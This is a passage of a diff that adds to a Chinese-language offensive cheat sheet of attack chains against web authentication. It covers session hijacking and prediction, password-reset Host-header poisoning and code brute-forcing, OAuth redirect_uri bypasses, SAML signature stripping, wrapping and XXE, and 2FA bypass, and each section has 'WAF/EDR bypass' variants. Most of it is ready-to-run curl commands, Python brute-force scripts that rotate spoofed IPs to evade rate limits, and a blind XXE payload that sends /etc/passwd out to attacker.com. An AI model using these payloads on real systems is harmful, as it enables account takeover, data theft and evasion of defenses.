# 或使用tcpdump:
|
|
689
|
+
tcpdump -i eth0 -A -s 0 'port 80 and (tcp[((tcp[12:1]&0xf0)>>2):4] = 0x436F6F6B)'
|
|
690
|
+
|
|
691
|
+
# 获取Cookie后直接使用:
|
|
692
|
+
curl -b "PHPSESSID=STOLEN_SESSION_ID" "http://target.com/admin/dashboard"
|
|
693
|
+
```
|
|
694
|
+
|
|
695
|
+
**4. 会话预测(弱随机性)** _[linux]_
|
|
696
|
+
_通过收集多个sessionId分析其生成规律,预测有效的会话标识符_
|
|
697
|
+
```
|
|
698
|
+
# 批量收集sessionId分析规律
|
|
699
|
+
for i in $(seq 1 20); do
|
|
700
|
+
sid=$(curl -sI "http://target.com/" | grep -i "set-cookie" | grep -oP "(?<=PHPSESSID=)[^;]+")
|
|
701
|
+
echo "$i: $sid"
|
|
702
|
+
sleep 0.5
|
|
703
|
+
done
|
|
704
|
+
|
|
705
|
+
# 使用Burp Suite Sequencer分析随机性
|
|
706
|
+
# 或Python分析:
|
|
707
|
+
# python3 -c "
|
|
708
|
+
# import hashlib, time
|
|
709
|
+
# # 如果sessionId基于时间戳:
|
|
710
|
+
# for t in range(int(time.time())-100, int(time.time())+100):
|
|
711
|
+
# predicted = hashlib.md5(str(t).encode()).hexdigest()
|
|
712
|
+
# print(predicted)
|
|
713
|
+
# "
|
|
714
|
+
```
|
|
715
|
+
|
|
716
|
+
**WAF/EDR 绕过变体:**
|
|
717
|
+
|
|
718
|
+
**1. Cookie Jar溢出与Cookie Tossing**
|
|
719
|
+
_通过大量设置Cookie超出浏览器存储上限挤出合法session Cookie,或利用子域名权限向父域注入恶意Cookie实现会话覆盖_
|
|
720
|
+
```
|
|
721
|
+
# Cookie Jar溢出:
|
|
722
|
+
# 设置大量Cookie(超过浏览器上限~50个)使旧Cookie被挤出:
|
|
723
|
+
for(let i=0;i<700;i++){document.cookie=`c${i}=x;domain=.target.com`}
|
|
724
|
+
# 原有session Cookie被挤出后可注入攻击者的session
|
|
725
|
+
|
|
726
|
+
# Cookie Tossing(子域注入):
|
|
727
|
+
# 从subdomain.target.com设置Cookie:
|
|
728
|
+
document.cookie="session=ATTACKER_SID;domain=.target.com;path=/"
|
|
729
|
+
# 该Cookie在主域target.com上也生效
|
|
730
|
+
```
|
|
731
|
+
|
|
732
|
+
**2. SameSite绕过与跨站会话泄露**
|
|
733
|
+
_利用SameSite=Lax允许顶级导航GET请求携带Cookie的特性通过链接点击或window.open发起带凭据的跨站请求_
|
|
734
|
+
```
|
|
735
|
+
# SameSite=Lax绕过(顶级导航GET请求携带Cookie):
|
|
736
|
+
<a href="http://target.com/api/transfer?to=attacker&amount=1000">click</a>
|
|
737
|
+
# Lax模式下GET请求会携带Cookie
|
|
738
|
+
|
|
739
|
+
# SameSite=None利用(需Secure):
|
|
740
|
+
# 如果设置了SameSite=None但缺少Secure属性:
|
|
741
|
+
# Chrome会拒绝,但旧浏览器可能接受
|
|
742
|
+
|
|
743
|
+
# 通过window.open绕过:
|
|
744
|
+
window.open("http://target.com/api/userinfo")
|
|
745
|
+
# 新窗口属于顶级导航,Lax模式下携带Cookie
|
|
746
|
+
```
|
|
747
|
+
|
|
748
|
+
---
|
|
749
|
+
|
|
750
|
+
### 密码重置漏洞 `auth-password-reset`
|
|
751
|
+
绕过密码重置流程
|
|
752
|
+
子类:**逻辑漏洞** · tags: `auth` `password-reset` `logic`
|
|
753
|
+
|
|
754
|
+
**前置条件:** 密码重置功能存在逻辑缺陷
|
|
755
|
+
|
|
756
|
+
**攻击链:**
|
|
757
|
+
|
|
758
|
+
**1. Host头投毒**
|
|
759
|
+
_重置链接指向攻击者域名_
|
|
760
|
+
```
|
|
761
|
+
# Host头投毒劫持密码重置链接:
|
|
762
|
+
# 1. 基础Host头投毒:
|
|
763
|
+
POST /forgot-password HTTP/1.1
|
|
764
|
+
Host: evil.com
|
|
765
|
+
Content-Type: application/x-www-form-urlencoded
|
|
766
|
+
|
|
767
|
+
email=victim@target.com
|
|
768
|
+
# 重置链接将变为: http://evil.com/reset?token=xxx
|
|
769
|
+
|
|
770
|
+
# 2. X-Forwarded-Host投毒:
|
|
771
|
+
POST /forgot-password HTTP/1.1
|
|
772
|
+
Host: target.com
|
|
773
|
+
X-Forwarded-Host: evil.com
|
|
774
|
+
|
|
775
|
+
email=victim@target.com
|
|
776
|
+
|
|
777
|
+
# 3. 双Host头:
|
|
778
|
+
POST /forgot-password HTTP/1.1
|
|
779
|
+
Host: target.com
|
|
780
|
+
Host: evil.com
|
|
781
|
+
|
|
782
|
+
email=victim@target.com
|
|
783
|
+
|
|
784
|
+
# 4. 通过Burp Collaborator验证:
|
|
785
|
+
Host: BURP-COLLABORATOR-ID.burpcollaborator.net
|
|
786
|
+
```
|
|
787
|
+
|
|
788
|
+
**2. Token爆破**
|
|
789
|
+
_验证码过短_
|
|
790
|
+
```
|
|
791
|
+
# 密码重置验证码爆破:
|
|
792
|
+
# 1. 发送重置验证码请求:
|
|
793
|
+
curl -d "email=victim@target.com" "http://target.com/forgot-password"
|
|
794
|
+
|
|
795
|
+
# 2. 四位数字验证码爆破(0000-9999):
|
|
796
|
+
# Burp Intruder设置:
|
|
797
|
+
POST /reset-password HTTP/1.1
|
|
798
|
+
Content-Type: application/x-www-form-urlencoded
|
|
799
|
+
|
|
800
|
+
email=victim@target.com&code=§0000§
|
|
801
|
+
# Payload: Numbers, From 0, To 9999, Min/Max 4 digits
|
|
802
|
+
|
|
803
|
+
# 3. 六位验证码爆破(需更多时间):
|
|
804
|
+
import requests
|
|
805
|
+
for code in range(0, 999999):
|
|
806
|
+
r = requests.post('http://target.com/reset-password',
|
|
807
|
+
data={'email':'victim@target.com','code':f'{code:06d}'})
|
|
808
|
+
if 'success' in r.text or r.status_code == 302:
|
|
809
|
+
print(f'Valid code: {code:06d}')
|
|
810
|
+
break
|
|
811
|
+
```
|
|
812
|
+
|
|
813
|
+
**3. 密码重置Token可预测性分析**
|
|
814
|
+
_分析密码重置Token的生成规律,判断是否可预测_
|
|
815
|
+
```
|
|
816
|
+
# 批量请求密码重置Token分析规律:
|
|
817
|
+
import requests
|
|
818
|
+
import time
|
|
819
|
+
import hashlib
|
|
820
|
+
|
|
821
|
+
tokens = []
|
|
822
|
+
for i in range(10):
|
|
823
|
+
r = requests.post("http://target.com/api/password-reset",
|
|
824
|
+
data={"email": f"test{i}@example.com"})
|
|
825
|
+
# 从邮件API或响应中获取token
|
|
826
|
+
if "token" in r.text:
|
|
827
|
+
import json
|
|
828
|
+
token = json.loads(r.text).get("token", "")
|
|
829
|
+
tokens.append({"time": time.time(), "token": token})
|
|
830
|
+
print(f"Token {i}: {token}")
|
|
831
|
+
time.sleep(0.5)
|
|
832
|
+
|
|
833
|
+
# 分析Token模式:
|
|
834
|
+
for i, t in enumerate(tokens):
|
|
835
|
+
print(f"Token {i}: len={len(t['token'])}, "
|
|
836
|
+
f"hex={'yes' if all(c in '0123456789abcdef' for c in t['token'].lower()) else 'no'}, "
|
|
837
|
+
f"time={t['time']}")
|
|
838
|
+
|
|
839
|
+
# 检查是否基于时间戳:
|
|
840
|
+
for ts in range(int(tokens[0]['time'])-5, int(tokens[0]['time'])+5):
|
|
841
|
+
candidate = hashlib.md5(str(ts).encode()).hexdigest()
|
|
842
|
+
if candidate == tokens[0]['token']:
|
|
843
|
+
print(f"[+] Token is MD5(timestamp)! Predictable!")
|
|
844
|
+
```
|
|
845
|
+
|
|
846
|
+
**4. 密码重置流程逻辑缺陷**
|
|
847
|
+
_测试密码重置流程中的各种逻辑漏洞_
|
|
848
|
+
```
|
|
849
|
+
# 1. 参数篡改 - 修改邮箱/手机号:
|
|
850
|
+
# 发送重置请求时替换接收邮箱
|
|
851
|
+
curl -d "email=victim@target.com¬ify_email=attacker@evil.com" "http://target.com/api/password-reset"
|
|
852
|
+
|
|
853
|
+
# 2. IDOR - 直接使用他人的重置Token/UID:
|
|
854
|
+
curl -d "token=VALID_TOKEN&uid=OTHER_USER_ID&new_password=hacked123" "http://target.com/api/password-reset/confirm"
|
|
855
|
+
|
|
856
|
+
# 3. 步骤跳过 - 直接访问设置新密码页面:
|
|
857
|
+
curl -d "uid=123&new_password=test12345" "http://target.com/api/password-reset/set-password"
|
|
858
|
+
|
|
859
|
+
# 4. Token不失效 - 使用已用过的Token:
|
|
860
|
+
curl -d "token=ALREADY_USED_TOKEN&new_password=newpass123" "http://target.com/api/password-reset/confirm"
|
|
861
|
+
|
|
862
|
+
# 5. 密码重置投毒(Host头注入):
|
|
863
|
+
curl -H "Host: evil.com" -H "X-Forwarded-Host: evil.com" -d "email=victim@target.com" "http://target.com/api/password-reset"
|
|
864
|
+
# 受害者收到的重置链接: http://evil.com/reset?token=xxx
|
|
865
|
+
```
|
|
866
|
+
|
|
867
|
+
**WAF/EDR 绕过变体:**
|
|
868
|
+
|
|
869
|
+
**1. Host头投毒多种变体绕过**
|
|
870
|
+
_Host头投毒的多种WAF绕过变体_
|
|
871
|
+
```
|
|
872
|
+
# 标准Host头投毒:
|
|
873
|
+
curl -H "Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot"
|
|
874
|
+
|
|
875
|
+
# X-Forwarded-Host(常被Web框架信任):
|
|
876
|
+
curl -H "X-Forwarded-Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot"
|
|
877
|
+
|
|
878
|
+
# 多Host头:
|
|
879
|
+
curl -H "Host: target.com" -H "Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot"
|
|
880
|
+
|
|
881
|
+
# Host中注入端口:
|
|
882
|
+
curl -H "Host: target.com@evil.com" -d "email=victim@target.com" "http://target.com/forgot"
|
|
883
|
+
curl -H "Host: target.com:evil.com" -d "email=victim@target.com" "http://target.com/forgot"
|
|
884
|
+
|
|
885
|
+
# 绝对URL覆盖Host:
|
|
886
|
+
curl "http://target.com/forgot" -H "Host: evil.com" --request-target "http://target.com/forgot"
|
|
887
|
+
|
|
888
|
+
# X-Original-URL / X-Rewrite-URL:
|
|
889
|
+
curl -H "X-Original-URL: /forgot" -H "Host: evil.com" "http://target.com/forgot"
|
|
890
|
+
```
|
|
891
|
+
|
|
892
|
+
**2. Token爆破速率限制绕过**
|
|
893
|
+
_通过IP头轮换和UA随机化绕过重置Token爆破的速率限制_
|
|
894
|
+
```
|
|
895
|
+
# IP轮换绕过速率限制:
|
|
896
|
+
import requests
|
|
897
|
+
import random
|
|
898
|
+
|
|
899
|
+
def try_token(token, proxy=None):
|
|
900
|
+
headers = {
|
|
901
|
+
"X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(0,254)}.{random.randint(0,254)}.{random.randint(1,254)}",
|
|
902
|
+
"User-Agent": random.choice([
|
|
903
|
+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
|
|
904
|
+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
|
|
905
|
+
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
|
|
906
|
+
])
|
|
907
|
+
}
|
|
908
|
+
r = requests.post("http://target.com/reset-password",
|
|
909
|
+
data={"token": token, "new_password": "Test123!"},
|
|
910
|
+
headers=headers, timeout=10)
|
|
911
|
+
return r.status_code != 400
|
|
912
|
+
|
|
913
|
+
# 如果Token是6位数字:
|
|
914
|
+
for i in range(0, 1000000):
|
|
915
|
+
token = f"{i:06d}"
|
|
916
|
+
if try_token(token):
|
|
917
|
+
print(f"[+] Valid token: {token}")
|
|
918
|
+
break
|
|
919
|
+
```
|
|
920
|
+
|
|
921
|
+
---
|
|
922
|
+
|
|
923
|
+
### OAuth漏洞 `auth-oauth`
|
|
924
|
+
OAuth认证流程漏洞
|
|
925
|
+
子类:**OAuth** · tags: `auth` `oauth` `redirect`
|
|
926
|
+
|
|
927
|
+
**前置条件:** 使用OAuth登录
|
|
928
|
+
|
|
929
|
+
**攻击链:**
|
|
930
|
+
|
|
931
|
+
**1. CSRF攻击**
|
|
932
|
+
_缺乏state参数_
|
|
933
|
+
```
|
|
934
|
+
# OAuth CSRF - 强制账号绑定攻击:
|
|
935
|
+
# 1. 获取攻击者的OAuth授权码:
|
|
936
|
+
# 正常走OAuth流程到callback但不完成
|
|
937
|
+
# 截获: http://target.com/callback?code=ATTACKER_CODE
|
|
938
|
+
|
|
939
|
+
# 2. 构造CSRF页面:
|
|
940
|
+
<html>
|
|
941
|
+
<body>
|
|
942
|
+
<img src="http://target.com/callback?code=ATTACKER_CODE">
|
|
943
|
+
<!-- 或使用iframe -->
|
|
944
|
+
<iframe src="http://target.com/callback?code=ATTACKER_CODE" style="display:none"></iframe>
|
|
945
|
+
</body>
|
|
946
|
+
</html>
|
|
947
|
+
|
|
948
|
+
# 3. 受害者访问该页面后,其账号将绑定攻击者的OAuth账号
|
|
949
|
+
# 4. 攻击者可通过OAuth登录受害者账号
|
|
950
|
+
|
|
951
|
+
# 防御检测: 检查授权请求是否携带state参数
|
|
952
|
+
```
|
|
953
|
+
|
|
954
|
+
**2. Redirect URI**
|
|
955
|
+
_重定向到攻击者获取Code_
|
|
956
|
+
```
|
|
957
|
+
redirect_uri=http://attacker.com
|
|
958
|
+
```
|
|
959
|
+
|
|
960
|
+
**3. OAuth State参数缺失/可预测CSRF**
|
|
961
|
+
_检测OAuth流程中state参数的缺失或可预测性_
|
|
962
|
+
```
|
|
963
|
+
# 1. 检测state参数是否存在:
|
|
964
|
+
# 访问OAuth授权URL,查看是否有state参数
|
|
965
|
+
curl -sI "http://target.com/oauth/authorize?client_id=xxx&redirect_uri=http://target.com/callback&response_type=code"
|
|
966
|
+
|
|
967
|
+
# 2. 如果没有state参数 → CSRF绑定攻击:
|
|
968
|
+
# 攻击者用自己的OAuth账号发起授权,获取code
|
|
969
|
+
# 构造链接: http://target.com/callback?code=ATTACKER_CODE
|
|
970
|
+
# 发给受害者 → 受害者的账户绑定了攻击者的OAuth账号
|
|
971
|
+
|
|
972
|
+
# 3. 如果state可预测:
|
|
973
|
+
# 多次请求获取state值分析规律
|
|
974
|
+
for i in $(seq 1 5); do
|
|
975
|
+
state=$(curl -sI "http://target.com/oauth/authorize?client_id=xxx&redirect_uri=http://target.com/callback&response_type=code" | grep -i "location" | grep -oP "state=([^&]+)" | cut -d= -f2)
|
|
976
|
+
echo "State $i: $state"
|
|
977
|
+
sleep 0.5
|
|
978
|
+
done
|
|
979
|
+
```
|
|
980
|
+
|
|
981
|
+
**4. Token窃取与Scope越权**
|
|
982
|
+
_OAuth Token窃取、Scope越权、跨应用Token复用测试_
|
|
983
|
+
```
|
|
984
|
+
# 1. 通过redirect_uri泄露Token:
|
|
985
|
+
# implicit flow中Token在URL fragment中:
|
|
986
|
+
# http://attacker.com/callback#access_token=xxx
|
|
987
|
+
# 使用Referer泄露:
|
|
988
|
+
# 如果callback页面有外链,Token会通过Referer泄露
|
|
989
|
+
|
|
990
|
+
# 2. Scope越权 - 请求更高权限:
|
|
991
|
+
curl "http://target.com/oauth/authorize?client_id=xxx&redirect_uri=http://target.com/callback&response_type=code&scope=admin+write+delete"
|
|
992
|
+
|
|
993
|
+
# 3. Token复用测试 - 用authorization_code换取的Token访问其他API:
|
|
994
|
+
TOKEN="stolen_access_token_here"
|
|
995
|
+
curl -H "Authorization: Bearer ${TOKEN}" "http://target.com/api/admin/users"
|
|
996
|
+
curl -H "Authorization: Bearer ${TOKEN}" "http://target.com/api/admin/settings"
|
|
997
|
+
curl -H "Authorization: Bearer ${TOKEN}" "http://other-app.target.com/api/user/info"
|
|
998
|
+
|
|
999
|
+
# 4. refresh_token窃取后无限续期:
|
|
1000
|
+
curl -d "grant_type=refresh_token&refresh_token=STOLEN_REFRESH_TOKEN&client_id=xxx" "http://target.com/oauth/token"
|
|
1001
|
+
```
|
|
1002
|
+
|
|
1003
|
+
**WAF/EDR 绕过变体:**
|
|
1004
|
+
|
|
1005
|
+
**1. Redirect URI绕过技巧合集**
|
|
1006
|
+
_多种redirect_uri白名单绕过技术_
|
|
1007
|
+
```
|
|
1008
|
+
# 白名单绕过技巧:
|
|
1009
|
+
|
|
1010
|
+
# 1. 子域名绕过(如果白名单用后缀匹配):
|
|
1011
|
+
redirect_uri=http://evil.target.com/callback
|
|
1012
|
+
redirect_uri=http://target.com.evil.com/callback
|
|
1013
|
+
|
|
1014
|
+
# 2. 路径遍历:
|
|
1015
|
+
redirect_uri=http://target.com/callback/../../../evil-page
|
|
1016
|
+
redirect_uri=http://target.com/callback/..%2f..%2f..%2fevil-page
|
|
1017
|
+
|
|
1018
|
+
# 3. 参数注入:
|
|
1019
|
+
redirect_uri=http://target.com/callback?next=http://evil.com
|
|
1020
|
+
redirect_uri=http://target.com/callback%23@evil.com
|
|
1021
|
+
|
|
1022
|
+
# 4. 端口注入:
|
|
1023
|
+
redirect_uri=http://target.com:8080@evil.com/callback
|
|
1024
|
+
|
|
1025
|
+
# 5. URL编码绕过:
|
|
1026
|
+
redirect_uri=http://target.com%40evil.com/callback
|
|
1027
|
+
redirect_uri=http://target.com%2540evil.com/callback
|
|
1028
|
+
|
|
1029
|
+
# 6. localhost/内网绕过:
|
|
1030
|
+
redirect_uri=http://127.0.0.1/callback
|
|
1031
|
+
redirect_uri=http://[::1]/callback
|
|
1032
|
+
|
|
1033
|
+
# 7. 开放重定向链:
|
|
1034
|
+
redirect_uri=http://target.com/redirect?url=http://evil.com
|
|
1035
|
+
```
|
|
1036
|
+
|
|
1037
|
+
---
|
|
1038
|
+
|
|
1039
|
+
### SAML漏洞 `auth-saml`
|
|
1040
|
+
SAML断言攻击
|
|
1041
|
+
子类:**SAML** · tags: `auth` `saml` `xml`
|
|
1042
|
+
|
|
1043
|
+
**前置条件:** 使用SAML SSO
|
|
1044
|
+
|
|
1045
|
+
**攻击链:**
|
|
1046
|
+
|
|
1047
|
+
**1. XML签名绕过**
|
|
1048
|
+
_SAML Raider工具_
|
|
1049
|
+
```
|
|
1050
|
+
# SAML断言篡改 - 删除签名验证:
|
|
1051
|
+
# 1. 拦截SAML Response(Burp Suite):
|
|
1052
|
+
# POST /saml/acs 中的SAMLResponse参数
|
|
1053
|
+
|
|
1054
|
+
# 2. Base64解码:
|
|
1055
|
+
echo "SAML_RESPONSE_BASE64" | base64 -d > saml.xml
|
|
1056
|
+
|
|
1057
|
+
# 3. 修改断言中的NameID(提权为admin):
|
|
1058
|
+
# 原始: <NameID>user@target.com</NameID>
|
|
1059
|
+
# 修改: <NameID>admin@target.com</NameID>
|
|
1060
|
+
|
|
1061
|
+
# 4. 删除签名块(删除整个<Signature>...</Signature>):
|
|
1062
|
+
xmlstarlet ed -d "//*[local-name()='Signature']" saml.xml > saml_modified.xml
|
|
1063
|
+
|
|
1064
|
+
# 5. 重新Base64编码并替换:
|
|
1065
|
+
base64 -w0 saml_modified.xml | xclip -sel clip
|
|
1066
|
+
|
|
1067
|
+
# 6. 在Burp中用修改后的值替换SAMLResponse参数
|
|
1068
|
+
```
|
|
1069
|
+
|
|
1070
|
+
**2. XXE攻击**
|
|
1071
|
+
_SAML基于XML_
|
|
1072
|
+
```
|
|
1073
|
+
# SAML XXE注入攻击:
|
|
1074
|
+
# 1. 解码SAML Response后,在XML声明后注入DTD:
|
|
1075
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
1076
|
+
<!DOCTYPE foo [
|
|
1077
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
1078
|
+
]>
|
|
1079
|
+
<samlp:Response ...>
|
|
1080
|
+
<saml:Assertion>
|
|
1081
|
+
<saml:Subject>
|
|
1082
|
+
<saml:NameID>&xxe;</saml:NameID>
|
|
1083
|
+
</saml:Subject>
|
|
1084
|
+
</saml:Assertion>
|
|
1085
|
+
</samlp:Response>
|
|
1086
|
+
|
|
1087
|
+
# 2. 带外数据外泄(Blind XXE):
|
|
1088
|
+
<!DOCTYPE foo [
|
|
1089
|
+
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
|
|
1090
|
+
%dtd;
|
|
1091
|
+
]>
|
|
1092
|
+
|
|
1093
|
+
# evil.dtd内容:
|
|
1094
|
+
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
|
1095
|
+
<!ENTITY % payload "<!ENTITY exfil SYSTEM 'http://attacker.com/?d=%data;'>">
|
|
1096
|
+
%payload;
|
|
1097
|
+
|
|
1098
|
+
# 3. Base64编码后替换SAMLResponse参数发送
|
|
1099
|
+
```
|
|
1100
|
+
|
|
1101
|
+
**3. SAML Response篡改与重放** _[linux]_
|
|
1102
|
+
_SAML Response篡改身份信息和重放攻击_
|
|
1103
|
+
```
|
|
1104
|
+
# 1. 拦截SAML Response:
|
|
1105
|
+
# Burp Suite中拦截POST到/saml/acs的请求
|
|
1106
|
+
# SAMLResponse参数是Base64编码的XML
|
|
1107
|
+
|
|
1108
|
+
# 2. 解码并修改:
|
|
1109
|
+
echo "BASE64_SAML_RESPONSE" | base64 -d > saml_resp.xml
|
|
1110
|
+
|
|
1111
|
+
# 3. 修改关键字段:
|
|
1112
|
+
# - NameID: 修改为目标用户 (admin@target.com)
|
|
1113
|
+
# - Audience: 确保匹配SP
|
|
1114
|
+
# - Conditions/NotBefore/NotOnOrAfter: 确保时间有效
|
|
1115
|
+
|
|
1116
|
+
# 使用xmlstarlet修改:
|
|
1117
|
+
xmlstarlet ed -N saml="urn:oasis:names:tc:SAML:2.0:assertion" -u "//saml:NameID" -v "admin@target.com" saml_resp.xml > modified.xml
|
|
1118
|
+
|
|
1119
|
+
# 4. 重新编码提交:
|
|
1120
|
+
cat modified.xml | base64 -w0 > encoded.txt
|
|
1121
|
+
curl -d "SAMLResponse=$(cat encoded.txt)&RelayState=/" "http://target.com/saml/acs"
|
|
1122
|
+
|
|
1123
|
+
# 5. 重放攻击(如果未检查InResponseTo/时间):
|
|
1124
|
+
# 直接重放之前抓到的有效SAMLResponse
|
|
1125
|
+
curl -d "SAMLResponse=PREVIOUSLY_CAPTURED&RelayState=/" "http://target.com/saml/acs"
|
|
1126
|
+
```
|
|
1127
|
+
|
|
1128
|
+
**4. SAML签名绕过高级技术** _[linux]_
|
|
1129
|
+
_SAML签名绕过的多种高级技术_
|
|
1130
|
+
```
|
|
1131
|
+
# 1. 签名包装攻击(XSW - XML Signature Wrapping):
|
|
1132
|
+
# 将签名的断言移到XML其他位置,注入恶意断言
|
|
1133
|
+
# 有8种XSW攻击变体
|
|
1134
|
+
|
|
1135
|
+
# 使用SAML Raider (Burp插件):
|
|
1136
|
+
# - 拦截SAMLResponse
|
|
1137
|
+
# - 选择XSW攻击类型(1-8)
|
|
1138
|
+
# - 修改NameID为admin
|
|
1139
|
+
# - 重放
|
|
1140
|
+
|
|
1141
|
+
# 2. 签名排除(如果SP不验证签名):
|
|
1142
|
+
# 删除XML中的<ds:Signature>整个节点
|
|
1143
|
+
xmlstarlet ed -N ds="http://www.w3.org/2000/09/xmldsig#" -d "//ds:Signature" saml_resp.xml > no_sig.xml
|
|
1144
|
+
|
|
1145
|
+
# 3. 自签名证书替换:
|
|
1146
|
+
# 生成自签名证书:
|
|
1147
|
+
openssl req -new -x509 -days 365 -nodes -newkey rsa:2048 -keyout my.key -out my.crt -subj "/CN=Evil IDP"
|
|
1148
|
+
|
|
1149
|
+
# 使用xmlsec1签名:
|
|
1150
|
+
xmlsec1 --sign --privkey-pem my.key --id-attr:ID Assertion saml_resp.xml
|
|
1151
|
+
|
|
1152
|
+
# 4. Comment注入绕过:
|
|
1153
|
+
# admin<!-- -->@target.com 可能被解析为 admin@target.com
|
|
1154
|
+
# 在NameID中注入: admin@target.com<!---->.evil.com
|
|
1155
|
+
```
|
|
1156
|
+
|
|
1157
|
+
**WAF/EDR 绕过变体:**
|
|
1158
|
+
|
|
1159
|
+
**1. SAML XML混淆绕过WAF** _[linux]_
|
|
1160
|
+
_XML编码混淆和多种格式变体绕过WAF对SAML的检测_
|
|
1161
|
+
```
|
|
1162
|
+
# 1. XML编码混淆:
|
|
1163
|
+
# 使用CDATA段包裹payload:
|
|
1164
|
+
<NameID><![CDATA[admin@target.com]]></NameID>
|
|
1165
|
+
|
|
1166
|
+
# 2. DTD定义实体:
|
|
1167
|
+
<!DOCTYPE foo [<!ENTITY user "admin@target.com">]>
|
|
1168
|
+
<NameID>&user;</NameID>
|
|
1169
|
+
|
|
1170
|
+
# 3. XML命名空间混淆:
|
|
1171
|
+
<saml:NameID xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
|
|
1172
|
+
xmlns:x="http://evil.com">admin@target.com</saml:NameID>
|
|
1173
|
+
|
|
1174
|
+
# 4. 编码SAMLResponse的不同方式:
|
|
1175
|
+
# 标准Base64:
|
|
1176
|
+
cat saml.xml | base64 -w0
|
|
1177
|
+
# 带换行的Base64:
|
|
1178
|
+
cat saml.xml | base64
|
|
1179
|
+
# URL编码后的Base64:
|
|
1180
|
+
cat saml.xml | base64 -w0 | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read()))"
|
|
1181
|
+
|
|
1182
|
+
# 5. Deflate+Base64(某些实现接受):
|
|
1183
|
+
python3 -c "import zlib,base64; print(base64.b64encode(zlib.compress(open('saml.xml','rb').read())).decode())"
|
|
1184
|
+
```
|
|
1185
|
+
|
|
1186
|
+
---
|
|
1187
|
+
|
|
1188
|
+
### 2FA绕过 `auth-2fa`
|
|
1189
|
+
绕过双因素认证
|
|
1190
|
+
子类:**2FA** · tags: `auth` `2fa` `mfa`
|
|
1191
|
+
|
|
1192
|
+
**前置条件:** 开启2FA
|
|
1193
|
+
|
|
1194
|
+
**攻击链:**
|
|
1195
|
+
|
|
1196
|
+
**1. 直接访问**
|
|
1197
|
+
_强制浏览绕过2FA页面_
|
|
1198
|
+
```
|
|
1199
|
+
# 2FA绕过 - 强制浏览(直接跳过验证步骤):
|
|
1200
|
+
# 1. 正常登录输入用户名密码,到达2FA验证页面
|
|
1201
|
+
# 2. 不输入验证码,直接访问后台页面:
|
|
1202
|
+
curl -b "session=LOGIN_SESSION_COOKIE" "http://target.com/admin/dashboard" -v
|
|
1203
|
+
curl -b "session=LOGIN_SESSION_COOKIE" "http://target.com/api/user/profile" -v
|
|
1204
|
+
curl -b "session=LOGIN_SESSION_COOKIE" "http://target.com/home" -v
|
|
1205
|
+
|
|
1206
|
+
# 3. 修改前端JS跳过验证:
|
|
1207
|
+
# 在浏览器Console中执行:
|
|
1208
|
+
# window.location = '/dashboard'
|
|
1209
|
+
|
|
1210
|
+
# 4. 修改响应中的验证状态:
|
|
1211
|
+
# Burp拦截响应: {"2fa_required":true} → {"2fa_required":false}
|
|
1212
|
+
|
|
1213
|
+
# 5. 直接调用API(可能不检查2FA状态):
|
|
1214
|
+
curl -b "session=COOKIE" "http://target.com/api/v1/users" -v
|
|
1215
|
+
```
|
|
1216
|
+
|
|
1217
|
+
**2. 验证码爆破**
|
|
1218
|
+
_无速率限制_
|
|
1219
|
+
```
|
|
1220
|
+
# 2FA验证码爆破:
|
|
1221
|
+
# 1. TOTP通常为6位数字(000000-999999):
|
|
1222
|
+
# 但有30秒时间窗口,需要极快速爆破
|
|
1223
|
+
|
|
1224
|
+
# 2. 短信验证码爆破(4位):
|
|
1225
|
+
# Burp Intruder:
|
|
1226
|
+
POST /verify-2fa HTTP/1.1
|
|
1227
|
+
Content-Type: application/json
|
|
1228
|
+
|
|
1229
|
+
{"otp":"§0000§","session":"LOGIN_SESSION"}
|
|
1230
|
+
# Payload: Numbers 0000-9999
|
|
1231
|
+
|
|
1232
|
+
# 3. 检测速率限制:
|
|
1233
|
+
# 快速发送10次请求,观察是否被限制
|
|
1234
|
+
for i in $(seq 1000 1010); do
|
|
1235
|
+
curl -s -o /dev/null -w "%{http_code}" \
|
|
1236
|
+
-d "otp=$i&session=SESS" "http://target.com/verify-2fa"
|
|
1237
|
+
echo " - $i"
|
|
1238
|
+
done
|
|
1239
|
+
|
|
1240
|
+
# 4. 绕过速率限制:
|
|
1241
|
+
# X-Forwarded-For IP轮换
|
|
1242
|
+
# 修改User-Agent
|
|
1243
|
+
# 添加空字节: otp=1234%00
|
|
1244
|
+
```
|
|
1245
|
+
|
|
1246
|
+
**3. 逻辑绕过**
|
|
1247
|
+
_修改响应包_
|
|
1248
|
+
```
|
|
1249
|
+
response=true / success=1
|
|
1250
|
+
```
|
|
1251
|
+
|
|
1252
|
+
**WAF/EDR 绕过变体:**
|
|
1253
|
+
|
|
1254
|
+
**1. 响应篡改与直接端点访问**
|
|
1255
|
+
_通过拦截并修改2FA验证响应包欺骗前端认为验证通过,或绕过2FA页面直接访问受保护端点测试服务端是否强制校验2FA状态_
|
|
1256
|
+
```
|
|
1257
|
+
# 响应篡改(Burp拦截):
|
|
1258
|
+
# 原始响应: {"success":false,"message":"Invalid OTP"}
|
|
1259
|
+
# 修改为: {"success":true,"message":"Valid OTP"}
|
|
1260
|
+
|
|
1261
|
+
# 直接跳过2FA步骤:
|
|
1262
|
+
# 登录后不访问/verify-2fa,直接访问:
|
|
1263
|
+
GET /dashboard HTTP/1.1
|
|
1264
|
+
Cookie: session=AFTER_LOGIN_SESSION
|
|
1265
|
+
|
|
1266
|
+
# 修改状态参数:
|
|
1267
|
+
POST /verify-2fa
|
|
1268
|
+
{"otp":"000000","skip":true}
|
|
1269
|
+
/verify-2fa?verified=true
|
|
1270
|
+
```
|
|
1271
|
+
|
|
1272
|
+
**2. 备份码爆破与验证竞态条件**
|
|
1273
|
+
_对2FA备份恢复码进行字典爆破(通常限制不如OTP严格),利用竞态条件并发发送多个OTP验证请求绕过速率限制_
|
|
1274
|
+
```
|
|
1275
|
+
# 备份码爆破(通常为8位数字/字母):
|
|
1276
|
+
# 使用Burp Intruder对backup_code参数进行爆破
|
|
1277
|
+
